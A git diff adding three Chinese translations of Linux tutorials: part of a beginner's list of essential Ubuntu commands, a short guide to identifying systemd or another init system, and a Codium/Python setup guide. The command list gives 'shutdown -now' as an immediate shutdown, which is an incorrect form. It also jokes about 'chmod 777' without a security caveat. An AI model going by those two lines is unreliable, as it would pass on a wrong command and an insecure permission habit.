+然而,我更喜欢用 `touch` 命令来实现这一目的。 + +``` +touch new_file_name +``` + +![touch command ubuntu][13] + +如果你对现有的文件使用它,它们的时间戳会被修改。 + +推荐阅读: + +> **[touch 命令示例][14]** + +#### 6、mkdir 命令:创建新的文件夹 + +虽然没有创建新文件的特定命令,但有一个专门的命令用于创建新的文件夹(或目录,我们在 Linux 中称之为“目录”)。 + +``` +mkdir new_dir +``` + +![mkdir 命令示例][15] + +推荐阅读: + +> **[mkdir 命令示例][16]** + +#### 7、cp 命令:复制文件和文件夹 + +在命令行中复制文件和文件夹也是你会遇到的常见任务之一。`cp` 命令是“复制Copy”的简称,用于这一目的。 + +想象一下,你必须修改一个配置文件。一个聪明的做法是用另一个名字复制该文件。这样一来,你就有了一个文件的备份。 + +``` +cp existing_file.txt existing_file.back +``` + +你也可以使用同样的 `cp` 命令来复制目录。为此,你必须指定递归选项 `-r`。 + +``` +cp -r dir another_location +``` + +![cp 命令示例][17] + +推荐阅读: + +> **[cp 命令示例][18]** + +#### 8、mv 命令:剪贴或重命名文件和文件夹 + +`mv` 命令是 “移动Move” 的意思。当你把一个文件复制到另一个地方时,它仍然保留在原来的地方。 + +`mv` 命令将文件和文件夹移动到另一个位置。你可以把它看作是一个剪切-粘贴的操作。 + +``` +mv file.txt /another/location +``` + +你也可以使用 `mv` 命令来重命名文件。 + +``` +mv file.txt new_file.txt +``` + +同样的 `mv` 命令也可以移动或重命名文件夹,不需要任何特殊的选项。 + +![mv 命令示例][19] + +推荐阅读: + +> **[mv 命令示例][20]** + +#### 9、rm 命令:删除文件和文件夹 + +要在 Linux 终端中删除文件,你可以使用 `rm`(“删除Remove”的缩写)命令。 + +``` +rm filename +``` + +在命令行中删除文件后,没有撤销选项。这就是为什么你在删除文件时要非常小心。如果你害怕删除错误的文件,可以使用选项 `-i` 的交互式模式,它给你一个额外的提示来确认操作。 + +``` +rm -i filename +``` + +使用递归选项 `-r`,你也可以使用相同的 `rm` 命令来删除文件夹。 + +![rm 命令示例][21] + +推荐阅读: + +> **[rm 命令示例][22]** + +#### 10、nano 命令:编辑文件 + +迟早有一天,你会被要求对一个文件的内容进行修改。想象一下,你必须改变 SSH、Grub 或其他一些应用程序的配置文件。 + +有一些 [基于命令行的][23] 文本编辑器可以达到这个目的。Ubuntu 预装了 Nano 编辑器,它比 Vim、Emacs 等更容易使用。 + +**如果你好奇它们有什么不同**,请阅读我们的 [Nano vs. Vim 对比][24] 文章。 + +更容易使用并不意味着和基于 GUI 的文本编辑器一样舒适。你将不得不使用键盘快捷键来移动、修改、保存和退出文件。 + +要用 `nano` 打开一个新的、未命名的文件,请使用: + +``` +nano +``` + +要在 nano 中编辑一个现有的文件,请使用: + +``` +nano filename +``` + +在这两种情况下,你都应该看到一个类似这样的界面。 + +![nano 命令示例][25] + +要保存(或放弃修改)并退出编辑器界面,请使用 `Ctrl+x` 键。 + +请参考我之前创建的 [nano 初学者指南][26] 来适应它。 + +#### 11、clear 命令:清除终端屏幕 + +Nano 感觉很复杂,对吗?让我来分享一个简单的命令。 + +`clear` 命令可以清除终端。就是这样。 + +``` +clear +``` + +你为什么需要这样做呢?嗯,如果你的终端屏幕充斥着随机的东西,而你想做一些新的事情。清理终端就像清理黑板或在你的笔记本上打开一个新页。 + +#### 12、ps 命令:检查和管理进程 + +`ps` 命令是用来管理你系统上运行的进程的。每个进程都有一个相关的 ID,称为 PID,它可以用于各种目的,例如 [终止一个进程][27]。 + +``` +~$ ps + pid tty time cmd + 15358 ? 00:00:00 bash + 15404 ? 00:00:00 ps +``` + +这里, + +- `PID`:进程 ID +- `TTY`:与进程相关的控制终端(现在已经不那么重要了) +- `TIME`:总的 CPU 使用时间 +- `CMD`:运行该进程的命令名称 + +但一个系统不可能只运行两到三个进程,不是吗?要查看所有用户运行的所有进程,请使用: + +``` +ps aux +``` + +这将给出一个庞大的进程列表和关于它们的更多细节。如果你运行这个命令,现在将是使用 `clear` 命令的绝佳时机。 + +![进程列表][29] + +推荐阅读: + +> **[ps 命令示例][30]** + +#### 13、top 命令:系统监控 + +`ps` 命令给你提供了所有正在运行的进程,而 `top` 命令给你提供了进程和系统资源消耗的实时视图。 + +``` +top +``` + +把它看作是 Linux 中任务管理器的终端版本。通过 `top` 命令,你会看到很多有趣的细节。 + +我主要使用 `top` 命令来检查哪个进程占用了太多的 CPU 或内存。如果你有兴趣做实验,还有 [更好的 top 替代品][31]。 + +![top 命令][32] + +要 [停止运行的 top 命令][33],请使用 `Ctrl+C` 键盘快捷键。 + +推荐阅读: + +> **[有效使用 top 命令作为任务管理器][34]** + +#### 14、lsblk 命令: 列出磁盘和分区 + +`lsblk` 命令列出了你系统中所有的块设备。用非常简单(技术上不完全准确)的术语来说,它显示的是磁盘和分区。 + +``` +~# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +loop0 7:0 0 79.9M 1 loop /snap/lxd/22923 +loop1 7:1 0 103M 1 loop /snap/lxd/23541 +loop2 7:2 0 63.2M 1 loop /snap/core20/1623 +loop3 7:3 0 48M 1 loop /snap/snapd/17336 +loop4 7:4 0 48M 1 loop /snap/snapd/17029 +loop6 7:6 0 63.2M 1 loop /snap/core20/1634 +vda 252:0 0 25G 0 disk +├─vda1 252:1 0 24.9G 0 part / +├─vda14 252:14 0 4M 0 part +└─vda15 252:15 0 106M 0 part /boot/efi +vdb 252:16 0 466K 1 disk +~# +``` + +#### 15、fdisk 命令:列出并管理磁盘和分区 + +另一个类似但更好的命令是 `fdisk` 命令。它可以让你操作磁盘的分区。这意味着你可以用这个命令创建新的分区,删除和调整现有分区的大小。 + +你还可以用它来列出系统中所有的块设备,包括 [回环设备][35]。 + +``` +sudo fdisk -l +``` + +如果你有许多分区、磁盘和回环设备(由 Snap 应用程序创建),输出结果可能是巨大的。我在这里展示的是输出的相关部分: + +``` +Disk /dev/vda: 25 GiB, 26843545600 bytes, 52428800 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disklabel type: gpt +Disk identifier: 0B7C796D-51CD-4DD4-962A-7D94B31690E2 + +Device Start End Sectors Size Type +/dev/vda1 227328 52428766 52201439 24.9G Linux filesystem +/dev/vda14 2048 10239 8192 4M BIOS boot +/dev/vda15 10240 227327 217088 106M EFI System +``` + +#### 16、find 命令:搜索文件 + +即使作为一个桌面用户,你也会遇到在 Linux 命令行中搜索文件的情况。 + +`find` 命令是一个用于此目的的广泛而通用的命令。它有 50 多个选项,而你可能永远不会需要所有的选项。 + +下面是一个 `find` 命令的例子,它将给你提供当前目录中所有以 `.txt` 扩展名结尾的文件。 + +``` +find . -type f -name "*.txt" +``` + +其他常见的例子包括按大小、修改时间等查找文件。你可以 [将 find 与 exec][36] 或 [xargs][37] 结合起来,对 `find` 命令的结果采取行动。例如,你可以寻找所有的 `.txt` 文件并选择删除它们。 + +推荐阅读: + +> **[find 命令示例][38]** + +#### 17、grep 命令:在文件内容中搜索 + +`find` 命令根据文件的名称和类型来搜索文件。如果你想根据文件的内容进行搜索,你可以使用 `grep`命令。 + +因此,与其寻找所有以 `.txt` 结尾的文件,不如用 `grep` 寻找所有包含文本 `foss` 的文件。 + +``` +grep -ri search_term +``` + +![grep 命令示例][39] + +想学习更多吗?这里有一些更多的 [grep 命令示例][40]。方便的 [grep 速查表][41] 应该可以帮助你。 + +#### 18、kill 命令:终止进程 + +暴力不是答案......它是解决方案。 + +开个玩笑! + +如果你有一个行为不端的进程,占用了太多的系统资源,你可以 [找到它,然后终止][27] 它,[使用 kill 命令][42] 就行。 + +``` +sudo kill -9 process_ID_or_Name +``` + +正如你在上面的命令中看到的,你需要知道进程 ID(PID)或进程名称来终止它。你可以使用 `ps` 或 `top` 命令来获得 PID或确切的进程名称。 + +``` +ps aux | grep -i “name of your desired program” +``` + +你注意到 `grep` 命令的使用了吗?你已经在利用这个列表中提到的命令了。 + +![find kill process][43] + +我不知道你怎么想的,但是当我寻找流氓进程来终止时,我觉得自己就像 [《飓风营救》中的连姆·尼森][44]。 + +![Taken meme find you kill you][45] + +#### 19、history 命令:回头看看你过去运行了哪些命令 + +比如,你在几天前使用了一个特定的 Linux 命令。现在你需要再次运行它,但你不能正确地想起它。 + +你可以按上下方向键。 + +这对许多 Linux 用户来说是一个熟悉的场景:这就是 `history` 命令的作用。 + +在 Ubuntu 中,你的 Shell 会保存你所运行的命令的历史。在终端输入 `history`,你会看到你过去运行的命令的历史。 + +![history 命令][46] + +你可以选择从历史记录中运行一个条目,使用其编号,像这样。 + +``` +!number +``` + +但即使是历史记录也可能是巨大的,所以(再次)使用 `grep` 命令来过滤你的搜索词。 + +``` +~$ history | grep aux + 1915 ps aux + 1952 ps aux | grep -i spotify + 1955 ps -aux | grep -i calculator + 1957 ps -aux | grep -i calculator + 1959 ps -aux | grep -i calculator + 1970 history | grep aux +``` + +还有一种方法可以进入命令历史并进行搜索。按 `Ctrl+R`,然后输入搜索词。 + +推荐阅读: + +> **[history 命令示例][47]** + +#### 20、chmod 命令:改变文件权限 + +我强烈建议在这个阶段阅读有关 [Linux 文件权限][2]。这将有助于你更好地理解,而不是盲目地运行 [chmod 命令][48]。 + +`chmod`(“改变模式change mode”)命令是用来改变文件的权限的。 + +这个命令最常见的用途是当你想让一个文件可执行时。有一个Shell脚本?像这样让它可执行: + +``` +chmod u+x file-executable +``` + +还有更多的使用情况,使 `chmod `成为 Ubuntu 用户必须知道的命令。 + +**有趣的事实**:`chmod 777` 命令为所有用户提供了所有的权限。这代表了我们的座右铭是 “让每个人都能获得知识”。 + +#### 21、lshw 命令:获取硬件细节 + +在 Linux 中,有大量的命令行 [工具可以用来获取硬件细节][49] 和其他系统信息。 + +可能预装在 Ubuntu 上的是 `lshw`(“列出硬件list hardware”的缩写)。 + +现在,默认情况下,它显示了大量关于所有硬件组件的详细信息,相信我,这不是很容易理解。 + +``` +lshw +``` + +你可能会感到在这里使用 `grep` 的诱惑,但没有必要这样做。`lshw` 的输出被分成几类,你可以用它来显示一类硬件的细节。 + +[想知道你的网络适配器的制造商][50]?使用这个: + +``` +lshw -C network +``` + +![lshw 命令示例][51] + +#### 22、sudo 命令:以 root 权限运行命令 + +你一定注意到,我在之前讨论的一些命令中使用了 `sudo` 作为前缀。 + +默认情况下,在 Ubuntu 中,`sudo` 的配置方式是,它允许你(默认的管理用户)以 root 权限运行任何命令。 + +你被要求输入一个密码,而且是你的用户账户密码。当你输入密码时,屏幕上没有任何显示。新用户对此感到困惑,但这是 UNIX/Linux 的预期行为。你输入密码并按回车键。 + +![使用 sudo 的例子][52] + +推荐阅读: + +> **[Ubuntu 中的 root 用户][53]** + +#### 23、apt 命令: 安装、删除和管理 .deb 包 + +在 Ubuntu 中,`apt` 命令被用来管理软件包。你必须和 `sudo` 一起使用它,因为这些是管理任务。 + +要安装一个软件包,请使用: + +``` +sudo apt install package_name +``` + +要删除一个安装软件,请使用: + +``` +sudo apt remove package_name +``` + +要一次性用所有可升级的软件包更新你的 Ubuntu 系统: + +``` +sudo apt update && sudo apt upgrade +``` + +[apt update 和 upgrade 的区别][54] 是:`update` 会刷新软件包的缓存,而 `upgrade` 则是实际安装更新。 + +`apt` 命令还有很多内容。你可以阅读 [这个详细的 apt 命令指南][55]。 + +#### 24、add-apt-repository 命令:添加和删除 PPA + +好吧,这个命令已经不像十年前那么流行了。你仍然会在这里和那里遇到 [add-apt-repository 命令][56]。它是用来管理你系统中的 PPA(非官方的、用户生成的软件库)。 + +在跟随网络上的教程时,你可能会遇到由三行组成的安装说明: + +``` +sudo add-apt-repository ppa:dr-akulavich/lighttable +sudo apt update +sudo apt install lighttable-installer +``` + +第一个命令是添加 PPA(外部资源库)。你已经熟悉了下面两条,它们用于更新软件包缓存和安装你刚刚添加的 PPA 仓库提供的软件。 + +要删除一个 PPA,你应该首先删除你从它那里安装的软件,然后像这样删除它: + +``` +sudo add-apt-repository -r ppa:dr-akulavich/lighttable +``` + +我有一篇 [关于 PPA 的完整指南][57],可以了解关于这个主题的更多细节。 + +#### 25、snap 命令:安装、删除和管理 Snap 包 + +到目前为止,你知道 apt 软件包和它们的管理。然而,Ubuntu 也使用并积极推荐使用其 Snap 打包格式。 + +学习一些基本的 `snap` 命令将帮助你有效地管理这些软件包。 + +要找到一个软件包,请使用: + +``` +snap find search_term +``` + +要安装一个软件包,请使用: + +``` +sudo snap install package_name +``` + +要列出已安装的 Snap 应用程序: + +``` +snap list +``` + +要删除一个已安装的 Snap 应用程序,请使用: + +``` +sudo snap remove package_name +``` + +#### 26、ip 命令:检查 IP 地址和其他信息 + +`ip` 命令可以让你 [检查你的 IP 地址][58]。你还可以查看和操作路由、网络设备等。 + +``` +ip a +``` + +![ip 地址检查][59] + +#### 27、ping 命令:检查远程系统是否可达 + +`ping` 是另一个你应该知道的 [Linux 网络命令][60]。要检查一个远程系统是否可用,把它的 IP 地址给 `ping` 命令: + +``` +ping ip_address +``` + +你也可以用它来检查一个网站是否关闭,尽管现在它不是很准确。 + +![ping command ubuntu][61] + +使用 `Ctrl+C` 来停止运行的 `ping` 命令。 + +推荐阅读: + +> **[ping 命令示例][62]** + +#### 28、ssh 命令:连接到远程系统 + +我对把 `ssh` 添加到必须知道的 Linux 命令列表中持怀疑态度。许多桌面用户可能不需要它。SSH 被用于从你的终端连接到其他 Linux系统。 + +``` +ssh user@address_of_remote_system +``` + +当然,你需要知道远程系统的用户和密码。 + +如果你有云服务器或家庭设置,其中有其他 Linux 系统,你可以用它从你的主系统连接到它们。 + +#### 29、scp 命令:在远程系统之间复制文件 + +既然我在列表中包括了 `ssh`,那么包括一些 [通过 SSH 连接在远程系统之间传输文件的命令][63] 才是公平的。 + +`scp` 命令的工作原理与你之前看到的 `cp` 命令差不多。 + +下面是一个例子,它把文件从远程系统上的用户的主目录复制到你本地登录系统的当前目录。 + +``` +scp user@remote_address:/home/username/filename . +``` + +推荐阅读: + +> **[scp 命令示例][64]** + +#### 30、exit 命令:关闭终端 + +Linux 的基本命令列表就要结束了。那么让我们来谈谈退出终端的问题。这很简单。只要输入 + +``` +exit +``` + +如果你正在使用另一个用户或 Shell,你就会从那里注销。 + +你也可以使用 `Ctrl+D` 键来退出终端。 + +#### 31、shutdown 命令:关闭或重启系统 + +好了。如果你还没有退出终端,让我分享一个最后的命令。 + +从命令行中 [关闭你的系统][65] 怎么样? + +[使用 shutdown 命令][66] 来达到这个目的: + +``` +shutdown +``` + +上述命令 [安排在一分钟内关机][67]。你可以用以下方法让它立即关闭: + +``` +shutdown -now +``` + +你也可以使用同样的关机命令来 [重启你的 Ubuntu 系统][68]。 + +``` +shutdown -r now +``` + +#### 更多:man 命令:详细了解命令 + +还有一个,这也是最后一个,我保证。所有的 Linux 系统都有一个命令的手册。它被称为手册页,你可以通过以下方式访问已安装命令的手册页: + +``` +man command_name +``` + +[了解手册页][69] 对于新用户来说,可能会让人不知所措,但它却很方便。它为你提供了一个命令的通用语法和所有选项的描述。 + +当你对使用一个命令没有把握时,可以先查看它的手册页,然后再在网上搜索它。 + +### 总是有更多…… + +**这只是大约 30 个命令。而且这还不到 Linux 命令的20%**。我还没有涉及很多网络命令。我甚至没有涉及用户管理命令。 + +我在写这篇文章时,考虑到了普通的 Ubuntu 桌面用户。这些是你更可能使用的命令。从长远来看,掌握一些这方面的知识会很有帮助。 + +除此以外,学习是没有止境的。即使是最老练的 Linux 用户也会不断发现和学习新东西。 + +考虑到你对学习 Linux 命令感兴趣,让我推荐一些 [好的 Linux书籍][70] 和资源。 + +- [Linux 如何工作][71]:解释了 Linux 如何工作,而不是命令。 +- William Shotts 的《[Linux 命令行][72]》:可以合法地免费下载 PDF 格式的文件。 +- Daniel J Barrett 的《[Linux口袋指南][73]》:将 Linux 命令分为不同的类别,并通过小例子进行简单的解释。 +- [快速学习 Linux][74]:完全专注于 Linux 命令,有适当的例子和练习。 + +除此之外,你还可以从 [Linux Journey][75] 和 [Linux Handbook][76] 等网站学习。 + +**我知道你已经读了很久了**,但这还不到冰山一角。总有更多的东西需要学习,但也不是说如果你不知道所有的 Linux 命令,你就必须感到痛苦。 + +**没有人知道所有的东西。** + +现在,轮到你了。你觉得这份 Linux 命令列表有帮助吗? + +**如果你要在其中增加一些命令,会是什么?评论区是你的**。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/essential-ubuntu-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://linuxhandbook.com/absolute-vs-relative-path/ +[2]: https://linuxhandbook.com/linux-file-permissions/ +[3]: https://itsfoss.com/basic-terminal-tips-ubuntu/ +[4]: https://itsfoss.com/folder-directory-linux/ +[5]: https://itsfoss.com/wp-content/uploads/2022/11/ls-command-ubuntu.png +[6]: https://linuxhandbook.com/ls-command/ +[7]: https://itsfoss.com/wp-content/uploads/2022/11/cd-command-examples.png +[8]: https://linuxhandbook.com/cd-command-examples/ +[9]: https://itsfoss.com/wp-content/uploads/2022/11/cat-command-example.png +[10]: https://linuxhandbook.com/cat-command/ +[11]: https://itsfoss.com/wp-content/uploads/2022/11/reading-large-files-with-less-command.png +[12]: https://linuxhandbook.com/less-command/ +[13]: https://itsfoss.com/wp-content/uploads/2022/11/touch-command-ubuntu.png +[14]: https://linuxhandbook.com/touch-command/ +[15]: https://itsfoss.com/wp-content/uploads/2022/11/mkdir-command-example.png +[16]: https://linuxhandbook.com/mkdir-command/ +[17]: https://itsfoss.com/wp-content/uploads/2022/11/cp-command-example.png +[18]: https://linuxhandbook.com/cp-command/ +[19]: https://itsfoss.com/wp-content/uploads/2022/11/mv-command-example.png +[20]: https://linuxhandbook.com/mv-command/ +[21]: https://itsfoss.com/wp-content/uploads/2022/11/rm-command-examples.png +[22]: https://linuxhandbook.com/remove-files-directories/ +[23]: https://itsfoss.com/command-line-text-editors-linux/ +[24]: https://itsfoss.com/vim-vs-nano/ +[25]: https://itsfoss.com/wp-content/uploads/2022/11/nano-command-example.png +[26]: https://itsfoss.com/nano-editor-guide/ +[27]: https://itsfoss.com/how-to-find-the-process-id-of-a-program-and-kill-it-quick-tip/ +[28]: https://itsfoss.com/cdn-cgi/l/email-protection +[29]: https://itsfoss.com/wp-content/uploads/2022/11/list-processes-ubuntu.webp +[30]: https://linuxhandbook.com/ps-command/ +[31]: https://itsfoss.com/linux-system-monitoring-tools/ +[32]: https://itsfoss.com/wp-content/uploads/2022/11/top-command-ubuntu.png +[33]: https://itsfoss.com/stop-program-linux-terminal/ +[34]: https://linuxhandbook.com/top-command/ +[35]: https://itsfoss.com/loop-device-linux/ +[36]: https://linuxhandbook.com/find-exec-command/ +[37]: https://linuxhandbook.com/xargs-command/ +[38]: https://linuxhandbook.com/find-command-examples/ +[39]: https://itsfoss.com/wp-content/uploads/2022/11/grep-command-examples.png +[40]: https://linuxhandbook.com/grep-command-examples/ +[41]: https://linuxhandbook.com/grep-command-cheatsheet/ +[42]: https://linuxhandbook.com/kill-process/ +[43]: https://itsfoss.com/wp-content/uploads/2022/11/find-kill-process-ubuntu-800x264.png +[44]: https://www.imdb.com/title/tt0936501/?ref_=tt_urv +[45]: https://itsfoss.com/wp-content/uploads/2022/11/taken-meme-find-you-kill-you.jpg +[46]: https://itsfoss.com/wp-content/uploads/2022/11/history-command-ubuntu-800x534.png +[47]: https://linuxhandbook.com/history-command/ +[48]: https://linuxhandbook.com/chmod-command/ +[49]: https://itsfoss.com/hardinfo/ +[50]: https://itsfoss.com/find-network-adapter-ubuntu-linux/ +[51]: https://itsfoss.com/wp-content/uploads/2022/11/lshw-command-examples.png +[52]: https://itsfoss.com/wp-content/uploads/2022/11/using-sudo-example-ubuntu.png +[53]: https://itsfoss.com/root-user-ubuntu/ +[54]: https://itsfoss.com/apt-update-vs-upgrade/ +[55]: https://itsfoss.com/apt-command-guide/ +[56]: https://itsfoss.com/add-apt-repository-command-not-found/ +[57]: https://itsfoss.com/ppa-guide/ +[58]: https://itsfoss.com/check-ip-address-ubuntu/ +[59]: https://itsfoss.com/wp-content/uploads/2022/11/ip-address-check-ubuntu.png +[60]: https://itsfoss.com/basic-linux-networking-commands/ +[61]: https://itsfoss.com/wp-content/uploads/2022/11/ping-command-ubuntu.png +[62]: https://linuxhandbook.com/ping-command/ +[63]: https://linuxhandbook.com/transfer-files-ssh/ +[64]: https://linuxhandbook.com/scp-command/ +[65]: https://learnubuntu.com/shutdown-ubuntu/ +[66]: https://linuxhandbook.com/linux-shutdown-command/ +[67]: https://itsfoss.com/schedule-shutdown-ubuntu/ +[68]: https://learnubuntu.com/restart-ubuntu/ +[69]: https://itsfoss.com/linux-man-page-guide/ +[70]: https://itsfoss.com/best-linux-books/ +[71]: https://nostarch.com/howlinuxworks3 +[72]: https://linuxcommand.org/tlcl.php +[73]: https://www.oreilly.com/library/view/linux-pocket-guide/9780596806347/ +[74]: https://linuxhandbook.gumroad.com/l/mEsrwA +[75]: https://linuxjourney.com/ +[76]: https://linuxhandbook.com/a-to-z-linux-commands/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/24/184845y5i7757o708odem7.png \ No newline at end of file diff --git a/published/202211/20221109.5 ⭐️ How to Find Systemd or Any Other init System in Linux.md b/published/202211/20221109.5 ⭐️ How to Find Systemd or Any Other init System in Linux.md new file mode 100644 index 0000000000..7741d5b271 --- /dev/null +++ b/published/202211/20221109.5 ⭐️ How to Find Systemd or Any Other init System in Linux.md @@ -0,0 +1,89 @@ +[#]: subject: "How to Find Systemd or Any Other init System in Linux" +[#]: via: "https://www.debugpoint.com/systemd-or-init/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15256-1.html" + +如何在 Linux 中确定运行的是那种初始化系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/15/183009zafv77ru1afwprr7.jpg) + +> 你可以通过以下方式确定你的 Linux 发行版中是否正在运行 systemd 或其它初始化系统。 + +首个进程在你启动 Linux 发行版时开始运行,它称为初始化进程 init(初始化initialization的缩写)。它的进程标识符为 1(即 pid=1)。基于 Unix 的系统中的所有进程和应用程序都是这个初始化进程的后代。 + +根据功能和特性,存在不同类型的初始化进程。例如,[systemd][1]、Runit、OpenRC、sysVinit 等。其中,systemd 是最流行和最现代的一种,被包括 Ubuntu 和 Fedora 在内的所有现代 Linux 发行版使用和采用。 + +与传统的基于 Unix 的初始化系统相比,systemd 及其性能一直存在争议。但这就是另外一个话题了。 + +让我们看看如何确定在 Linux 发行版中运行的是 systemd 还是其它初始化系统。 + +### systemd 还是其它初始化系统? + +不幸的是,没有直接的命令可以找到它。你可以从初始化进程追溯它,它基本上是到 `/sbin/init` 的符号链接,即 pid=1。 + +使用 [strings][2] 命令打印嵌入在二进制文件 `/sbin/init` 中的文本并使用以下命令搜索 `init`: + +``` +strings /sbin/init | grep init +``` + +#### 示例 1 + +在下面的输出中,它是一个运行 Debian(Peppermint OS)的 sysVinit 系统。如你所见,它清楚地显示了 `init` 进程名称。 + +``` +strings /sbin/init | grep init +``` + +![显示使用 sysVinit 而不是 systemd 的示例][3] + +如果在上述同一个系统中找 `systemd`,那么不会有任何结果。因此,你可以得出结论,你正在运行 sysVinit 而不是 systemd。 + +#### 示例 2 + +如果你在 systemd 系统中运行上述命令,你可以在输出的第一行轻松看到 systemd 及其版本。 + +``` +strings /sbin/init | grep systemd +``` + +![显示它使用 systemd 的示例][4] + +#### 示例 3 + +你也可以尝试使用 `pstree` 命令打印进程树,它应该会显示第一个进程名称。它应该是 `systemd` 或 `init`,如下例所示。 + +``` +pstree +``` + +![pstree 显示使用 systemd][5] + +![pstree 显示使用 init][6] + +这就好了。这样你就可以轻松找出你的发行版是使用 systemd 还是其他的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/systemd-or-init/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/systemd +[2]: https://linux.die.net/man/1/strings +[3]: https://www.debugpoint.com/wp-content/uploads/2022/11/example-showing-the-init-is-used-and-not-systemd.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/example-showing-it-uses-systemd.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/pstree-is-showing-systemd-is-used.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/11/pstree-is-showing-init-is-used.jpg diff --git a/published/202211/20221109.6 ⭐️ Using Python in VS Code and Codium.md b/published/202211/20221109.6 ⭐️ Using Python in VS Code and Codium.md new file mode 100644 index 0000000000..a605e375ed --- /dev/null +++ b/published/202211/20221109.6 ⭐️ Using Python in VS Code and Codium.md @@ -0,0 +1,119 @@ +[#]: subject: "Using Python in VS Code and Codium" +[#]: via: "https://opensource.com/article/22/11/python-vs-code-codium" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15261-1.html" + +在 VS Code 和 Codium 中编写 Python 程序 +====== + +![][0] + +> 如果你正在寻找一个优秀的、通用的、开源的、带有 Python 集成的代码编辑器,那么你可以尝试一下 Codium。 + +在过去几年内,我有幸和中学生们一起,并带他们入门 [Python 开发][1] 和树莓派 400。这一切都很有趣,树莓派对于学生和我来说都是一个很好的平台。我们使用了 [Code with Mu][2],并且一切都很成功。我们的 Python 技能随着经验的增长而增长,因此最近我开始寻找给这些学生提供更多东西的方法。 + +我参与了一个 Python 课程并在课程中接触了微软的 Visual Studio Code。我在课程中学到了很多关于如何为 Python 设置虚拟环境,以及如何为 Python 编程配置 VS Code 的知识。在学习过程中,我也认识了 [Codium][3],它基本上是没有微软品牌和遥测的 VS Code。 + +如果你正在寻找一个优秀的、通用的、开源的、带有 Python 集成的代码编辑器,那么你可以尝试一下 Codium。下面是我在 Linux 系统上为 Python 设置 Codium 的方法。 + +### 在 Linux 上安装或更新 Python + +首先,确保你正在运行最新版本的 Python。你可以使用你的软件包管理器来完成这项工作。在 Debian 和基于 Debian 的系统上: + +``` +$ sudo apt install python3-pip +``` + +在 Fedora、CentOS、Mageia、OpenMandriva 和类似的系统上: + +``` +$ sudo dnf update python3 +``` + +在某些系统上,你可能还需要安装创建 Python 虚拟环境的软件: + +``` +$ sudo apt install python3.10-venv +``` + +### 安装 Codium + +接下来,在你的电脑上 [安装 Codium][4]。在 Linux 上,你可以下载一个包并使用你的包管理器安装它,或者 [使用 Flatpak][5]。 + +在安装好 Codium 之后,打开你的应用程序或活动菜单,输入 `code` 以启动它。 + +### 安装 VS Code Python 扩展 + +代码其实不是什么特别的东西。它只是一些其他应用程序(编译器或运行时)解释的纯文本。你可以在 Codium 中编写 Python 代码而不需要特殊的扩展。但是,有一个 Python 扩展可以为你带来一些方便的功能。 + +点击“文件File”菜单,选择“首选项Preferences”,然后选择“扩展Extensions”。在“扩展Extensions”面板中,搜索 Python IntelliSense 扩展。 + +![VS Code 和 Codium 都有一个扩展管理器,它会在页面左侧打开,允许你安装附加模块][6] + +你已经在 Codium 中设置了 Python。剩下的就是把它用起来。 + +### 为 VS Code 或 Codium 设置虚拟环境 + +我们可以创建一个项目目录,并将其添加到 Codium 中,这样在工作时,你创建和保存的文件都将默认保存到活动项目目录。这是一种快速的管理方式,可以让你不必经常点击文件保存和打开对话框。 + +在你创建一个虚拟 Python 环境作为工作目录时,Codium 会检测到它(因为你已经安装了 Python 扩展)。当你激活一个虚拟环境文件夹作为活动项目目录时,Codium 会自动运行使用虚拟环境所需的激活代码。 + +要为 Python 创建一个虚拟环境,请打开终端并输入: + +``` +$ python3 -m venv ~/PythonCoding +``` + +### 添加项目目录 + +在 Codium 中,点击“文件File”菜单,选择“将文件夹添加到工作区Add Folder to Workspace”。打开你刚刚设置的虚拟环境(对我来说,是 `/home/don/PythonCoding`)。 + +现在你已经准备好写一些 Python 代码了!在你的工作区中创建一个新的 Python 文件并插入一些基本代码。当你输入时,你可能会注意到,Codium 会为环境包含的 Python 模块提供自动补齐建议。 + +``` +import sys +print("Codium running Python " + sys.version) +``` + +现在点击 Codium 窗口右上角的“运行”按钮。这会在窗口底部打开一个控制台面板显示你的代码的输出: + +``` +(PythonCode) sh-5.1$ /home/bogus/PythonCode/bin/python +/home/bogus/PythonCode/app.py +Codium running Python 3.10.6 (main…)[GCC 12.1.0] +(PythonCode) sh-5.1$ +``` + +就像你从输出中看到的,Codium 在 `PythonCode` 环境中运行,并成功运行了你的 Python 代码。 + +### Codium 和 Python + +使用 Codium 编写 Python 代码比以往任何时候都更容易,但 Python 并不是 Codium 支持的唯一语言。你可以轻松地从 [Open VSX Registry][7] 中找到并安装其他扩展,这是一个中立的开源 VS Code 扩展 “市场”。 + +Codium 的界面比一些基本的编辑器更复杂,但它有我在学习过程中所需要的东西。如果你需要一个更专业的编辑器,或者你想从当前的编辑器切换到新的编辑器,那么试试 Codium 吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/python-vs-code-codium + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) 